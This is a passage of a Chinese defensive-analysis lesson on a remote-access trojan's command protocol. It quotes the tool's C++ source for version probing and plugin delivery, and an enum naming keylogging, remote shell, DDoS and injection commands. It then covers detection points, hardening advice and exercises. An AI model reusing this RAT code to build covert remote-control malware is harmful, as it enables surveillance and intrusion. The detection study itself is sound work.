// 源码位置:主控\Quick\MainFrm.cpp:2342-2364
// 防御分析注释:
// 1. 主控端根据对端位数选择 x86 或 x64 插件索引。
// 2. 返回包第 1 字节仍是 TOKEN_GETVERSION,后面跟版本数据。
// 3. 版本探测和插件索引是检测插件调度链的重要线索。
void CMainFrame::OnOpenSendVersion(ClientContext* pContext)
{
PluginsDate* p_PluginsDate = NULL;
if (pContext->m_DeCompressionBuffer.GetBuffer(1)[0] == 0)
p_PluginsDate = &(m_PluginsDate_x86);
else
p_PluginsDate = &(m_PluginsDate_x64);
PluginsDate::iterator it_PluginsDate = p_PluginsDate->find(_T("登录模块.dll_bin"));
if (it_PluginsDate != p_PluginsDate->end())
{
const int payloadSize = 100;
BYTE* bPacket = new BYTE[payloadSize + 1];
memset(bPacket, 0, payloadSize + 1);
bPacket[0] = TOKEN_GETVERSION;
memcpy(bPacket + 1, it_PluginsDate->second->Version, payloadSize);
g_pSocketBase->Send(pContext, bPacket, payloadSize + 1);
SAFE_DELETE_AR(bPacket);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
如果版本不一致,对端会请求主控发送插件数据。插件侧请求的源码片段如下。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:171-190
// 防御分析注释:
// 1. DllSendData 描述要请求的插件名称、位数、版本等元数据。
// 2. lpBuffer[0] = TOKEN_SENDLL,表示向主控端请求插件数据。
// 3. 防御侧应把 TOKEN_SENDLL、DllSendData、插件名称和数据大小作为关联线索。
// 4. 不应把这段代码理解为合法加载方案;合法软件应使用签名插件、受控仓库和强校验。
DllSendData loginModuleDllSendData =
{
TASK_MAIN,
{_T('登'), _T('录'), _T('模'), _T('块'), _T('.'), _T('d'), _T('l'), _T('l'), _T('_'), _T('b'), _T('i'), _T('n'), 0},
#ifdef _WIN64
TRUE,
#else
FALSE,
#endif
0,
{},
{},
};
DWORD dwOffset = sizeof(DllSendData) + 1;
LPBYTE lpBuffer = new BYTE[dwOffset];
lpBuffer[0] = TOKEN_SENDLL;
::memcpy(lpBuffer + 1, &loginModuleDllSendData, dwOffset - 1);
Send((LPBYTE)lpBuffer, dwOffset);
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
主控端收到 TOKEN_SENDLL 后进入 OnOpenSendDll。
// 源码位置:主控\Quick\MainFrm.cpp:2369-2434
// 防御分析注释:
// 1. 主控端从接收缓冲区第 1 字节之后解析 DllSendData。
// 2. bPacket[0] = COMMAND_SENDLL,后面拼 DllSendData 和插件数据。
// 3. 这是“请求插件 token”转成“下发插件 command”的关键边界。
// 4. 企业检测可关注大包发送、DLL 名称、版本字段、x86/x64 分支和可执行数据缓存。
void CMainFrame::OnOpenSendDll(ClientContext* pContext)
{
DllSendData* pDllSendData =
(DllSendData*)pContext->m_DeCompressionBuffer.GetBuffer(1);
int i_DllSendDate = sizeof(DllSendData);
if (pContext->m_DeCompressionBuffer.GetBufferLen() != (sizeof(DllSendData) + 1))
return;
CString strFileName = pDllSendData->szDllName;
PluginsDate* p_PluginsDate;
if (pDllSendData->bIsX64)
p_PluginsDate = &(m_PluginsDate_x64);
else
p_PluginsDate = &(m_PluginsDate_x86);
PluginsDate::iterator it_PluginsDate = p_PluginsDate->find(strFileName);
if (it_PluginsDate != p_PluginsDate->end())
{
int nPacketSize = 1 + i_DllSendDate + it_PluginsDate->second->filesize;
BYTE* bPacket = new BYTE[nPacketSize];
memset(bPacket, 0, nPacketSize);
bPacket[0] = COMMAND_SENDLL;
pDllSendData->dllDataSize = it_PluginsDate->second->filesize;
memcpy(bPacket + 1, pDllSendData, i_DllSendDate);
memcpy(
bPacket + 1 + i_DllSendDate,
it_PluginsDate->second->filedate,
it_PluginsDate->second->filesize
);
g_pSocketBase->Send(pContext, bPacket, nPacketSize);
SAFE_DELETE_AR(bPacket);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
这里要特别注意命名方向:
| 字节 | 所在方向 | 含义 |
|---|---|---|
TOKEN_GETVERSION | 对端发起,主控响应 | 版本探测 |
TOKEN_SENDLL | 对端发起 | 请求主控发送插件 |
COMMAND_SENDLL | 主控下发 | 携带插件元数据和插件数据 |
从检测视角看,插件调度链的关键不是单个函数,而是一组连续信号:
版本探测 -> 插件请求 -> 大块二进制传输 -> 注册表或内存缓存 -> 动态加载或调用
本课只讲到协议层。插件加载、缓存、内存行为会在后续专栏单独展开。
# 16. 主控侧和插件侧枚举同步问题
主插件通信库里也维护了一份全局 TOKEN_*。
// 源码位置:主插件\HPSocket\stdafx.h:29-71
// 防御分析注释:
// 1. 插件侧复制了主控侧的全局 MAIN 枚举。
// 2. 这种做法依赖人工同步,缺少协议版本号时容易产生兼容性问题。
// 3. 合法软件中建议使用统一协议定义文件、自动生成代码、显式版本和兼容性检查。
enum MAIN
{
TOKEN_CONDITION,
TOKEN_ERROR,
TOKEN_PROCESS,
TOKEN_GNDESKTOP,
TOKEN_GETVERSION,
TOKEN_SENDLL,
TOKEN_LOGIN,
TOKEN_DRIVE_LIST,
TOKEN_WEBCAM_BITMAPINFO,
TOKEN_AUDIO_START,
TOKEN_SPEAK_START,
TOKEN_KEYBOARD_START,
TOKEN_PSLIST,
TOKEN_SHELL_START,
TOKEN_SYSINFOLIST,
TOKEN_CHAT_START,
TOKEN_STARTUP_STATUS_START,
TOKEN_REGEDIT,
TOKEN_PROXY_START,
TOKEN_DDOS,
TOKEN_INJECT,
TOKEN_MONITOR,
TOKEN_BITMAPINFO_DIF,
TOKEN_BITMAPINFO_QUICK,
TOKEN_BITMAPINFO_PLAY,
TOKEN_BITMAPINFO_HIDE,
TOKEN_KERNEL = 100,
TOKEN_EXPAND = 200,
TOKEN_HEARTBEAT,
TOKEN_ACTIVED,
TOKEN_GETAUTODLL,
TOKEN_NOTHING = 255,
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
同步问题会带来三类风险:
| 风险 | 例子 | 防御或改造建议 |
|---|---|---|
| 版本漂移 | 主控新增 token,插件侧未更新 | 增加协议版本号和兼容性拒绝 |
| 数值误解 | 同一个字节在两边含义不同 | 使用统一 IDL 或自动生成枚举 |
| 无法溯源 | 日志只记录数字,不记录名称 | 记录协议版本、命令名称和模块名 |
对企业来说,协议字典最好记录“主控侧定义”和“插件侧定义”两份来源。如果两份定义不一致,要标出差异,因为这可能解释异常包、崩溃或误报。
# 17. 协议设计的主要安全缺陷
本源码的协议设计非常直接,适合教学,但不适合作为合法远程管理软件的安全协议。核心问题如下:
| 缺陷 | 源码表现 | 风险 |
|---|---|---|
| 命令认证不足 | 第 1 字节决定动作 | 命令来源可信性不足 |
| 完整性不足 | 包体缺少标准签名或 MAC | 数据被篡改难以及时发现 |
| 版本协商弱 | 枚举靠两端同步 | 版本漂移导致误解析 |
| 授权边界弱 | 命令名本身看不出权限 | 高危命令难以按角色限制 |
| 参数结构不自描述 | 直接按结构体或字符串解释 | 类型、长度、编码出错会影响稳定性 |
| 错误处理弱 | 部分默认分支只 TRACE | 未知命令缺少阻断和告警 |
| 高危能力集中 | 文件、屏幕、键盘、代理、驱动都在同一体系 | 一旦通道被滥用,影响面很大 |
合法软件可以保留“命令路由”的思想,但必须补安全边界:
| 改造方向 | 建议 |
|---|---|
| 协议版本 | 包头加入版本、长度、类型和兼容性字段 |
| 身份认证 | 使用证书、令牌或企业身份体系 |
| 完整性保护 | 对包头和包体做签名或 MAC |
| 命令授权 | 每个命令绑定权限模型 |
| 参数校验 | 对长度、路径、编码、结构体大小做严格检查 |
| 危险命令审批 | 文件删除、进程控制、远程终端、插件加载等需要审批 |
| 日志记录 | 记录命令名称、参数摘要、操作者、资产和结果 |
| 用户可见性 | 屏幕、摄像头、音频等能力必须有明确提示 |
# 18. 如何从源码整理协议字典
建议按下面顺序整理,不要一上来全局搜索所有 COMMAND_。
- 先读
主控\Quick\macros.h的enum MAIN,建立全局 token 表。 - 再读
CMainFrame::ProcessReceiveComplete,补充 token 对应的处理函数或窗口消息。 - 找到窗口消息对应的
ON_MESSAGE和OnOpen...dialog函数。 - 记录窗口创建时写入的
m_Dialog[0]类型。 - 进入对应 Dialog 的
.h文件,整理局部COMMAND_*和局部TOKEN_*。 - 进入对应 Dialog 的
.cpp文件,看哪些 UI 操作会发送命令。 - 进入对应插件或 Manager,看对端如何解释这些命令。
- 最后把协议项和检测点关联起来。
推荐表格模板:
| 字段 | 示例 |
|---|---|
| 层级 | 全局 token / 窗口 command / 窗口 response |
| 名称 | TOKEN_DRIVE_LIST |
| 数值来源 | 主控\Quick\macros.h |
| 分发函数 | CMainFrame::ProcessReceiveComplete |
| 目标模块 | CFileManagerDlg |
| 数据形态 | 第 1 字节 + 路径字符串 |
| 风险分类 | 文件枚举 |
| 主机检测 | 文件系统枚举、异常句柄 |
| 网络检测 | 小命令包后接大返回包 |
| 加固建议 | 路径范围限制、权限校验、日志记录 |
注意这里不是为了复现通信,而是为了建立防御侧可理解的“行为字典”。
# 19. 企业检测点
协议检测不能只看一个字节。更可靠的方法是把协议特征和主机行为、网络行为、内存行为、构建链线索关联。

# 19.1 主机侧检测点
| 检测点 | 说明 |
|---|---|
| 未知进程创建远程管理窗口 | 主控端 UI 行为和网络监听同时出现 |
| 文件枚举与网络发送相邻 | 文件系统遍历后出现外发数据 |
| 注册表二进制缓存 | 插件数据写入 REG_BINARY 一类位置 |
| 高危功能窗口打开 | 文件、终端、注册表、代理、屏幕、摄像头等窗口事件 |
| 异常日志清理或关机命令 | 和远程命令通道同时出现时风险升高 |
# 19.2 网络侧检测点
| 检测点 | 说明 |
|---|---|
| 固定周期心跳 | 小包、固定首字节、固定间隔 |
| 版本探测包 | 很短的数据包后接版本或插件请求 |
| 命令小包后接大包 | 例如插件数据、屏幕帧、文件数据 |
| 长连接持续收发 | 低流量保活加间歇性大流量 |
| TCP/UDP 两套模式 | 同一工具可能支持不同传输方式 |
# 19.3 内存侧检测点
| 检测点 | 说明 |
|---|---|
| 大块二进制数据进入进程内存 | 可能与插件发送或缓存相关 |
| 可执行权限内存页 | 如果出现可写可执行页,需要重点调查 |
| DLL 数据不落地或异常缓存 | 动态加载链路常见信号 |
| 结构体解析后立即调用 | 插件元数据后接动态调用风险 |
# 19.4 构建链检测点
| 检测点 | 说明 |
|---|---|
大量 TOKEN_* / COMMAND_* | 协议面广,功能能力多 |
| 多插件工程 | 文件、屏幕、音频、键盘、代理、驱动等模块 |
| x86/x64 双份产物 | 插件调度按位数选择 |
| 第三方网络库 | HPSocket 等网络通信依赖 |
| 自动打包插件 | 插件元数据、版本和二进制数据被主控端索引 |
# 20. 合法软件加固建议
如果把这种“主控端 + 插件 + 命令分发”的思路改造成合法远程管理软件,建议按以下方向重构:
| 改造项 | 建议 |
|---|---|
| 协议头 | 不再只依赖第 1 字节,增加魔数、版本、长度、类型、序列号 |
| 加密传输 | 使用标准 TLS,不自定义弱加密 |
| 双向认证 | 主控端和被控端都要验证身份 |
| 命令权限 | 每个命令绑定角色、资产范围和审批策略 |
| 参数约束 | 文件路径、注册表路径、进程 ID、插件名都要白名单或策略限制 |
| 插件签名 | 插件必须签名,并校验哈希和版本 |
| 危险能力默认关闭 | 远程终端、摄像头、音频、驱动、注入等默认禁用 |
| 全量日志 | 记录操作者、资产、命令、参数摘要、结果和时间 |
| 用户提示 | 涉及隐私采集时给出可见提示 |
| 异常阻断 | 未知 token、未知 command、长度异常必须拒绝并告警 |
# 21. 新手阅读路线
第一次读协议分发,不建议从所有插件开始。按下面路线更稳定:
- 读
macros.h的enum MAIN,只记住 5 类 token。 - 读
ProcessReceiveComplete,画出 token 到窗口的路由表。 - 选择一个低门槛窗口,例如文件管理。
- 读窗口
.h里的局部COMMAND_*。 - 找一个最简单命令,例如
COMMAND_LIST_FILES。 - 看发送端如何把命令写入
bPacket[0]。 - 看返回端如何用
TOKEN_FILE_LIST刷新 UI。 - 最后再回到插件发送和高危模块。
这样读的好处是,先建立“整体分发骨架”,再进入局部协议,不会被上百个命令名打乱。
# 22. 常见误区
| 误区 | 正确认识 |
|---|---|
TOKEN_* 和 COMMAND_* 是同一层 | 不是,TOKEN_* 多用于全局分发,COMMAND_* 多用于模块内部动作 |
| 第 1 字节能说明一切 | 不能,还要看长度、上下文、窗口状态和后续参数 |
| 打开窗口就是执行功能 | 打开窗口只是主控端进入某个处理上下文 |
| 有心跳就是正常软件 | 心跳只是保活机制,不能证明合法 |
| 枚举名越多越难检测 | 枚举名反而能帮助建立协议字典 |
| 只看网络流量就够了 | 需要关联主机、内存、注册表、构建链和 UI 行为 |
DllSendData 只是普通结构体 | 它关联插件名称、位数、版本和数据大小,是插件调度的重要线索 |
# 23. 本课小结
本课从源码角度拆解了协议与命令分发机制:
- 这套源码大量使用“一字节命令 + 参数数据”的协议模型。
- 全局
TOKEN_*决定主控端基础事件和功能入口。 CMainFrame::ProcessReceiveComplete是完整业务包进入业务层的核心分发点。ClientContext::m_Dialog决定后续数据是否交给已打开的功能窗口。- 功能窗口内部再使用局部
COMMAND_*和局部TOKEN_*解释数据。 - 文件管理窗口体现了最典型的命令往返:
COMMAND_LIST_FILES请求,TOKEN_FILE_LIST返回。 - 插件发送链路中,
TOKEN_GETVERSION、TOKEN_SENDLL、COMMAND_SENDLL构成版本探测和插件下发的协议边界。 - 协议的主要安全问题是认证不足、完整性不足、版本协商弱、命令授权弱和参数边界不足。
- 企业检测应把协议首字节、心跳、插件数据、文件行为、内存行为和构建链信号关联起来。
下一课会继续讲“插件化设计与模块加载总览”:主控端为什么要按需发送插件,被控端如何按版本和位数请求插件,以及 DllSendData 在插件链路中的完整角色。
# 24. 合法练习题
- 在不运行程序的前提下,整理
主控\Quick\macros.h中enum MAIN的 token 分类表。 - 画出
TOKEN_DRIVE_LIST -> WM_OPENMANAGERDIALOG -> CFileManagerDlg的源码追踪路径。 - 从
FileManagerDlg.h中挑 10 个局部命令,按“枚举、传输、修改、删除、搜索、状态”分类。 - 阅读
CFileManagerDlg::GetRemoteFileList,说明为什么第 1 字节是命令号,后面是路径参数。 - 阅读
CFileManagerDlg::OnReceiveComplete,列出 5 个返回 token 和它们对应的 UI 行为。 - 设计一个合法远程管理协议头,至少包含版本、长度、命令类型、序列号和完整性字段。
- 写一张企业检测关联表,把
TOKEN_HEARTBEAT、TOKEN_SENDLL、COMMAND_SENDLL分别关联到主机、网络和内存检测点。 - 思考如果主控侧和插件侧
TOKEN_*枚举不同步,会出现哪些稳定性和安全问题。 - 选择一个你熟悉的合法运维工具,列出它应该具备哪些命令授权和操作日志能力。
- 对照本课内容,写出 5 条“未知命令包应被拒绝并告警”的原因。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言